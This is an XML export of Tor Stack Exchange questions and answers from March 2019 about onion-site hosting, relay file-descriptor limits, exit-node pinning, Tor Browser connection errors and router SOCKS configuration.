  <row Id="19622" PostTypeId="1" CreationDate="2019-03-21T01:37:22.070" Score="0" ViewCount="472" Body="&lt;p&gt;For a number of reasons not critical to my question, I've decided that my website, currently on the clear web, would serve my users more effectively as an .onion site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still researching Tor basics and how to bring this to fruition. But there's one aspect I can't seem to wrap my head around:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q. In the Tor model, what plays the role of CDN (content delivery network, e.g. Cloudlare) ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website has a fairly large amount of static HTML/CSS/JS/PNG files. They rarely change. The script embedded in the .js files makes AJAX calls to the site to retrieve data and update the DOM. So the caching of static elements is pretty crucial. I'm using Cloudflare for that task right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor model, what layer/entity would do the caching of static content? I can tell from the explanatory diagrams, that there's an ultimate 'exit node' that would contact my site on port 443 (https). But would it contact my origin server directly without going through a caching layer? If so, presumably I could add additional IIS servers to pick up the load but even then, is there a way to load balance it? In other words, is there a way to point MyDomain.onion to an array of servers instead of just one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused as to how to distribute the load if there's no CDN in place. Please enlighten me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Festus&lt;/p&gt;&#xA;" OwnerUserId="7109" LastActivityDate="2022-06-28T19:44:11.790" Title="Content Delivery Networks and Tor" Tags="|onion-services|load-balance|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19624" PostTypeId="1" CreationDate="2019-03-21T11:33:54.743" Score="1" ViewCount="1157" Body="&lt;p&gt;So my friend has TOR and he uses it to get some game stuff. But when we went through his files, pictures and videos, we found some files that he claims he never downloaded and they must have piggy backed off his TOR downloads. Now I dont know if he was embarassed by them and used TOR as a scapegoat, or he was serious. I am not a tech kind of guy, and the same goes for my other friends. I'm worried if I use this the same thing might happen to me. I dont want random questionable files showing up in my computer.&lt;/p&gt;&#xA;" OwnerUserId="25548" LastActivityDate="2019-03-24T19:27:30.483" Title="When downloading things from TOR, could I accidentally download other random files as well?" Tags="|tor-browser-bundle|help|threats|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19625" PostTypeId="1" CreationDate="2019-03-21T11:43:46.100" Score="0" ViewCount="317" Body="&lt;p&gt;I have a box with 3 interfaces wlan0, eth0 (with internet connection) and tun0 (Openvpn). I want to connect that box to a remote vpn using tor socks. Until now I have the sock 60140 open in tor, the openvpn client set to use 60140 but Im missing on what iptables/nftables rules do I have to set in order to redirect al the tun0 traffic over that 60140 Sock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scheme I need to acomplish is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Box tun0) -&gt; Tor -&gt; Vpn &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need info on routing tables if needed. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="25547" LastActivityDate="2019-03-21T11:43:46.100" Title="Connect to a vpn through tor nftables" Tags="|socks|openvpn|firewall|iptables|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19626" PostTypeId="2" ParentId="19624" CreationDate="2019-03-21T14:36:04.877" Score="1" Body="&lt;p&gt;Tor is a proxy overlay network and is not capable itself of downloading any files on behalf of the user besides the network files associated with the service itself running along with the distributed hash table information that is synced periodically for consensus on the network to allow the onion routing to actually take place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, other proxy networks like i2p and zeronet are configured so that the user automatically becomes a server and uses a percentage of the users local disk to store content shared to the network of users. Tor is not like these services and does not have that capability in its feature set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, your inclination may be correct, they were using Tor as a scapegoat. Another option is that there was a compressed file (like .zip or tar.gz) that, upon download, was expanded to reveal more files than what was supposed to be inside the compressed file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Never attribute to malice that which is adequately explained by stupidity, but don't rule out malice either.&quot;&lt;/em&gt; - &lt;a href=&quot;https://en.wikipedia.org/wiki/Hanlon%27s_razor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hanlon's Razor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="-1" LastEditDate="2019-03-24T19:27:30.483" LastActivityDate="2019-03-24T19:27:30.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19628" PostTypeId="1" AcceptedAnswerId="19630" CreationDate="2019-03-21T18:22:56.343" Score="0" ViewCount="555" Body="&lt;p&gt;I am running a non-exit Tor relay for the last few weeks and it is working but it is not maxing the Internet pipe. (The server is &gt;2 weeks old, so not a problem of age)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it seems that Tor's file descriptor usage are at 100%. Nyx shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file descriptors: 4074 / 4064 (100%)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running the server on an unprivileged LXC container and it just works fine but this is what is bugging me out. Is that number of file descriptors acceptable, or should I raise it? How does it get filled? Doesn't it get (recycled?) at certain times?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have enough RAM and CPU as they are idling at 15% usage. By the way, I am running a directory. Don't know if that affects to file descriptors usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to find any answer to this matter. Hope you can help me.&lt;/p&gt;&#xA;" OwnerUserId="25551" LastActivityDate="2019-03-22T08:03:56.657" Title="Tor file descriptor usage at 100%" Tags="|relays|directory|middle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19630" PostTypeId="2" ParentId="19628" CreationDate="2019-03-22T08:03:56.657" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ConnLimit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor manual&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor will ask the OS for as many file descriptors as the OS will allow (you can find this by &quot;ulimit -H -n&quot;). If this number is less than ConnLimit, then Tor will refuse to start.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This number appears to be the denominator of the fraction you see in Nyx (4064). It's returned &lt;a href=&quot;https://github.com/torproject/tor/blob/7fbfdf2af731f500e3df3ca8207e6822f87f1bc9/src/feature/control/control.c#L1961&quot; rel=&quot;nofollow noreferrer&quot;&gt;from tor&lt;/a&gt; to Stem by the &lt;code&gt;process/descriptor-limit&lt;/code&gt; control message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of in-use file descriptors (4074) comes &lt;a href=&quot;https://stem.torproject.org/_modules/stem/util/proc.html#file_descriptors_used&quot; rel=&quot;nofollow noreferrer&quot;&gt;directly from Stem&lt;/a&gt;, which simply counts the number of items in &lt;code&gt;/proc/$pid/fd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return len(os.listdir('/proc/%i/fd' % pid))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Tor source code also has a &lt;a href=&quot;https://github.com/torproject/tor/blob/master/doc/TUNING&quot; rel=&quot;nofollow noreferrer&quot;&gt;tuning document&lt;/a&gt; that describes how to increase the number of available file descriptors if you are running low.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most operating systems limit an amount of TCP sockets that can be used &#xA;  simultaneously. It is possible for a busy Tor relay to run into these&#xA;  limits, thus being unable to fully utilize the bandwidth resources it &#xA;  has at its disposal. Following system-specific tips might be helpful&#xA;  to alleviate the aforementioned problem.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Use 'ulimit -n' to raise an allowed number of file descriptors to be &#xA;  opened on your host at the same time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/nyx.git/tree/nyx/panel/header.py#n199&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nyx source code&lt;/a&gt; shows that it logs a warning message if the file descriptor usage is above 90%. You should check for this message.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;log_msg = &quot;Tor's file descriptor usage is at %s%%. If you run out Tor will be unable to continue functioning.&quot; % fd_percent&#xA;log.log_once('fd_used_at_ninety_percent', log.WARN, log_msg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would probably be a good idea to raise the limit in the kernel and see what happens. I wouldn't be sure that you'll get much more traffic, as some Tor relays aren't getting the max bandwidth that they specify in their torrc.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2019-03-22T08:03:56.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19631" PostTypeId="2" ParentId="19624" CreationDate="2019-03-22T08:57:34.680" Score="0" Body="&lt;p&gt;It is technically possible to download other stuffs but not by TOR itself. I mean TOR is using three router to connect the client to the destination server and if the connection is not secure, the third router (exit node) technically can intercept your connection and inject data to the download stream. But this is very risky method and I do not think any exit node does such thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is the download site itself. If the download site is some kind of torrent site or warez site, it is possible to add extra downloads to the main download, no matter what browser is used. Hope it helped.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-22T08:57:34.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19632" PostTypeId="1" CreationDate="2019-03-22T11:46:29.670" Score="0" ViewCount="1063" Body="&lt;p&gt;I can't access the website Torproject.org from a used computer (a laptop) that I bought. I know that its not my ISP because my other machine can get to the website just fine. I have also tried my laptop from public wifi sources and work, and with different browsers  and found that I still cannot get to torproject.org.  I have found no problem with any other website so far. Torproject.org does not seem to be on any blocked list in my browsers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally installed Tor on my new machine using a stick. Once it is installed I can get to .onion sites just fine, and torproject.org just fine through the Tor browser.  Just can't get to torproject.org without Tor.&lt;/p&gt;&#xA;" OwnerUserId="25555" LastActivityDate="2019-03-22T11:46:29.670" Title="I can't access torproject.org with my computer - this is not a censorship problem" Tags="|connection|torproject.org|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19634" PostTypeId="2" ParentId="17417" CreationDate="2019-03-22T16:31:10.360" Score="1" Body="&lt;p&gt;I think the exit nodes can’t see anything if you are using an onion site. I think they can see your traffic and modify it if your using a website with http and not https. However, if your using https then they can’t modify it, but they can see the website domain. To avoid using an insecure on clear net, make sure https everywhere is set to E.A.S.E. Darknet is always more secure then clear net because the exit node can’t see or modify anything regardless of http or https.&lt;/p&gt;&#xA;" OwnerUserId="25559" LastActivityDate="2019-03-22T16:31:10.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19637" PostTypeId="1" CreationDate="2019-03-23T03:26:17.777" Score="0" ViewCount="1121" Body="&lt;p&gt;I would like a private tor network only my machines can use. These nodes are in different &lt;em&gt;physical&lt;/em&gt; machines and have their own IPs. And I want to connect to public websites through private Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this question &lt;a href=&quot;https://tor.stackexchange.com/questions/7497/is-it-possible-to-setup-a-private-tor-relay&quot;&gt;Is it possible to setup a private TOR relay&lt;/a&gt; every one said it impossible to have a private tor relay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I wonder if I make my relays and exit nodes use my own directory server(by set &lt;code&gt;DirAuthority&lt;/code&gt;), will other relays or directory server know about my relays? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if it possible... &lt;/p&gt;&#xA;" OwnerUserId="25562" LastEditorUserId="25562" LastEditDate="2019-03-25T09:46:12.413" LastActivityDate="2019-03-25T09:46:12.413" Title="Is it possible to set up a private tor network which can connect to the Internet?" Tags="|relays|directory|private|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19641" PostTypeId="2" ParentId="19321" CreationDate="2019-03-23T16:10:12.063" Score="0" Body="&lt;p&gt;You can decrease the number of hops tor is using. But that is highly not recommended!&#xA;You can change your entry node (guard node). This is not recommended either...&lt;/p&gt;&#xA;" OwnerUserId="25515" LastActivityDate="2019-03-23T16:10:12.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19642" PostTypeId="2" ParentId="17417" CreationDate="2019-03-23T16:21:10.210" Score="1" Body="&lt;p&gt;What is important to understand is that Tor is not tunneling your packets like a VPN.&#xA;The Exit-Node builds the TCP connection! It can redirect you to an arbitrary server. Read all the traffic. Redirect you to any port, etc. ... Furthermore it resolves your DNS request.&#xA;The only thing you can do is using TLS. But even TLS certificates can be compromised.&#xA;It would be very intersting if DANE and DNSSEC could be used to solve all this stuff.&lt;/p&gt;&#xA;" OwnerUserId="25515" LastActivityDate="2019-03-23T16:21:10.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19647" PostTypeId="1" CreationDate="2019-03-24T06:15:44.347" Score="2" ViewCount="163" Body="&lt;p&gt;I've followed the instructions in the posts about using a specific exitnode, and I've added the following to my torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes 719FD0FA327F3CCBCDA0D4EA74C15EA110338942&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I've specified the exitnode by fingerprint rather than IP, which is 185.220.100.252&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this works fine when I go to &lt;a href=&quot;http://www.duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.duckduckgo.com&lt;/a&gt; or &lt;a href=&quot;http://www.nasa.gov&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.nasa.gov&lt;/a&gt; - I get that exact IP address.  However, certain websites like  &lt;a href=&quot;https://ayefiles.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ayefiles.com&lt;/a&gt; are somehow defeating this restriction, sending me to a different IP.  This breaks my use case, where I need (for a short amount of time) all accesses through the same exitnode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a security hole I have discovered, and if so, can we close it so such sites cannot hack my choice of exitnode?  Or, is it because StrictNodes 1 doesn't apply to ExitNodes and only ExcludeNodes?  If this is the problem, can someone tell me how to specify the same restriction using ExcludeNodes?  I.e. something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes !719FD0FA327F3CCBCDA0D4EA74C15EA110338942&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so I want to exclude all nodes BUT that specific fingerprint.  Is there a syntax for this???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="25575" LastActivityDate="2019-04-23T10:03:00.610" Title="How are certain websites able to override the specific exitnode you chose, and can a fix be made to stop it?" Tags="|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19648" PostTypeId="2" ParentId="19647" CreationDate="2019-03-24T08:45:27.217" Score="1" Body="&lt;p&gt;&lt;code&gt;StrictNodes&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; apply to &lt;code&gt;ExitNodes&lt;/code&gt;. This is declared in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#StrictNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(StrictNodes applies to neither ExcludeExitNodes nor to ExitNodes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;MapAddress&lt;/code&gt; for doing that. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress ayefiles.com ayefiles.com.719FD0FA327F3CCBCDA0D4EA74C15EA110338942.exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-03-24T08:45:27.217" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19649" PostTypeId="1" CreationDate="2019-03-24T19:09:08.483" Score="0" ViewCount="1584" Body="&lt;p&gt;I have used Tor browser for years with now problems at all.&#xA;When i try it now  it says that the proxy is missing (and/or network which is working well) and to contact Tor itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gives me this error message:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;24/03/2019 16:32:02.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;24/03/2019 16:32:02.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;24/03/2019 16:32:02.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;24/03/2019 16:32:02.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;24/03/2019 16:32:03.400 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;24/03/2019 16:32:03.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;24/03/2019 16:32:03.600 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;24/03/2019 16:32:03.800 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:03.800 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:04.100 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:04.100 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:04.200 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:04.200 [NOTICE] new bridge descriptor 'ndnop3' (fresh): $8DFCD8FB3285E855F5A55EDDA35696C743ABFC4E~ndnop3 at 109.105.109.165 &#xA;24/03/2019 16:32:04.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;24/03/2019 16:32:04.300 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:04.300 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;24/03/2019 16:32:06.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;24/03/2019 16:32:06.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;24/03/2019 16:32:06.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;24/03/2019 16:32:06.700 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? I know that the 'disablenetwork' thing is set but i have no clue about how to fix any of this.&#xA;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;late 2006, Intel iMac 10.6.8., &lt;/p&gt;&#xA;" OwnerUserId="25577" LastEditorUserId="5234" LastEditDate="2019-03-25T12:58:08.037" LastActivityDate="2022-11-14T19:06:45.923" Title="Cannot connect to Tor Browser anymore" Tags="|tor-browser-bundle|proxy|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19650" PostTypeId="2" ParentId="19649" CreationDate="2019-03-24T19:30:41.530" Score="0" Body="&lt;p&gt;That is a red herring and not an actual error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser sets DisableNetwork (which prevents just the tor daemon from making outgoing network connections) when it first starts up to prevent an unconfigured tor daemon from making connections, but will unset it once it's satisfied that the user has had the opportunity to configure things.&#xA;  This happens on each launch, regardless of if the bridge configuration UI is displayed.&#xA;  Unless you have been messing with the tor daemon's configuration in fairly exotic and non-standard ways, any and all messages related to DisableNetwork are expected parts of the Tor Browser startup process, and should be ignored.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would suggest deleting all versions of Tor on your machine and redownloading the latest version from the tor project website at &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2019-03-24T19:30:41.530" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19653" PostTypeId="2" ParentId="15505" CreationDate="2019-03-25T17:12:09.640" Score="9" Body="&lt;p&gt;My Tor-Browser is installed in&#xA;C:\ProgramData\chocolatey\lib\tor-browser\tools\tor-browser\Browser\firefox.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What worked for me is to give your Windows User write (&quot;change&quot;) access to&#xA;C:\ProgramData\chocolatey\lib\tor-browser\tools\tor-browser\Browser\TorBrowser\Data\Browser&lt;/p&gt;&#xA;" OwnerUserId="25585" LastActivityDate="2019-03-25T17:12:09.640" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19654" PostTypeId="2" ParentId="13006" CreationDate="2019-03-25T20:01:28.047" Score="1" Body="&lt;p&gt;Since Tomatos TOR settings are not really obvious and poorly documented, here is config trick I've done to make this future work as &lt;strong&gt;socks proxy&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting redirect IP to something local and unused allows to trick redirection rules. Custom configuration makes it accessible only from internal network.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Socks Port: 9050&#xA;Trans Port: 9040&#xA;DNS Port: 9053&#xA;Data Directory: /tmp/tor&#xA;Redirect all users from: Selected IP`s: 127.0.0.254&#xA;Redirect TCP Ports: Selected Ports: 1:65535&#xA;&#xA;Custom Configuration:&#xA;SOCKSPort 192.168.1.1:9050&#xA;SOCKSPolicy accept 192.168.1.0/24&#xA;SOCKSPolicy reject *&#xA;ExitPolicy reject *:* &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can configure your browser to use socks proxy 192.168.1.1:9050&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information can be very helpful for those who are googling Tomato TOR Settings documetation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As for security and privacy&lt;/strong&gt;, it completely depends on the firmware version and the version of the TOR installed there. If you need real privacy, then you will not find anything safer than a manual build of the latest version of TOR from the source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this feature is quite enough for website blocking bypass.&lt;/p&gt;&#xA;" OwnerUserId="25587" LastActivityDate="2019-03-25T20:01:28.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19657" PostTypeId="1" CreationDate="2019-03-26T19:48:24.450" Score="0" ViewCount="5556" Body="&lt;p&gt;I have and old computer and recently went from windows xp to windows 7. Best I can do until I can afford a new computer. My problem is watching videos a 10 minute video may take 30 minutes to watch. I see the ads moving and other junk but not sure what to do to speed up this aggravating process of slow videos. Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="23096" LastActivityDate="2019-04-26T01:00:35.410" Title="videos playing slow and buffering" Tags="|help|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19658" PostTypeId="2" ParentId="19657" CreationDate="2019-03-27T00:29:19.017" Score="1" Body="&lt;p&gt;You'll have to hit the onion button in the corner and click new identity this will connect you to a different circuit may take a few try's but tor by nature will be slower than a regular web browser.&lt;/p&gt;&#xA;" OwnerUserId="9666" LastActivityDate="2019-03-27T00:29:19.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19659" PostTypeId="1" CreationDate="2019-03-27T04:39:55.420" Score="1" ViewCount="4018" Body="&lt;p&gt;Can someone please help me with this, or give me a contact email who can? I accidentally did something with the proxy when Tor was open and now I can't reopen it to fix it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3/21/19, 05:42:30.670 [WARN] You specified a public address '23.227.192.139:80' for SocksPort. Other people on the Internet might find your computer and use it as an open proxy. Please don't allow this unless you have a good reason. &#xA;3/21/19, 05:42:30.670 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/21/19, 05:42:30.670 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;3/21/19, 05:42:30.670 [WARN] You specified a public address '23.227.192.139:80' for SocksPort. Other people on the Internet might find your computer and use it as an open proxy. Please don't allow this unless you have a good reason. &#xA;3/21/19, 05:42:30.670 [NOTICE] Opening Socks listener on 23.227.192.139:80 &#xA;3/21/19, 05:42:30.670 [WARN] Could not bind to 23.227.192.139:80: Can't assign requested address &#xA;3/21/19, 05:42:30.670 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25574" LastEditorUserId="14997" LastEditDate="2019-08-07T14:32:02.023" LastActivityDate="2019-08-07T14:32:02.023" Title="How to solve &quot;Failed to bind one of the listener ports&quot;?" Tags="|help|proxy|support|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19660" PostTypeId="1" CreationDate="2019-03-27T06:09:04.643" Score="1" ViewCount="320" Body="&lt;p&gt;I looked up my entry-node in Relay Search(Tor Metrics) and I found additional flags was &quot;Not Recommended&quot;.&#xA;Should I change my entry-node manually?&lt;/p&gt;&#xA;" OwnerUserId="24810" LastEditorUserId="88" LastEditDate="2019-04-07T10:48:03.200" LastActivityDate="2021-12-23T00:01:01.163" Title="Not Recommended relay" Tags="|relays|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19666" PostTypeId="1" CreationDate="2019-03-28T00:03:15.133" Score="1" ViewCount="324" Body="&lt;p&gt;Since using many extensions (browser addons) in tor can increase your browser fingerprint, is there a way to stop this?&lt;/p&gt;&#xA;" OwnerDisplayName="user25603" LastActivityDate="2020-02-10T22:01:45.230" Title="How Can I Stop Extension Fingerprinting in Tor?" Tags="|tor-browser-bundle|configuration|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19667" PostTypeId="2" ParentId="19511" CreationDate="2019-03-29T03:14:33.997" Score="0" Body="&lt;p&gt;Upon further research, you can run the VPN client on the host and the VM will be affected too. As long as the VM is tied to the host using NAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to no one. Great community... &lt;/p&gt;&#xA;" OwnerUserId="25382" LastActivityDate="2019-03-29T03:14:33.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19668" PostTypeId="1" AcceptedAnswerId="19669" CreationDate="2019-03-29T05:06:27.480" Score="9" ViewCount="9461" Body="&lt;p&gt;Why I can not find download link for tor expert bundle? Why &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;torproject.org&lt;/a&gt; removed it?&lt;/p&gt;&#xA;" OwnerUserId="21117" LastEditorUserId="88" LastEditDate="2019-03-29T14:04:28.327" LastActivityDate="2020-08-20T23:58:41.953" Title="Where I can download tor expert bundle?" Tags="|tor-browser-bundle|windows|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19669" PostTypeId="2" ParentId="19668" CreationDate="2019-03-29T14:09:57.343" Score="5" Body="&lt;p&gt;Tor recently relaunched its &lt;a href=&quot;https://torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;website&lt;/a&gt;. Currently there are some &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/29901&quot; rel=&quot;noreferrer&quot;&gt;issues&lt;/a&gt; with the website. If you want to go to the old website, there is a copy at &lt;a href=&quot;https://2019.www.torproject.org/&quot; rel=&quot;noreferrer&quot;&gt;https://2019.www.torproject.org/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expert bundle is linked from the &lt;a href=&quot;https://2019.www.torproject.org/download/download.html.en&quot; rel=&quot;noreferrer&quot;&gt;old download page&lt;/a&gt; and points to &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-03-29T14:09:57.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
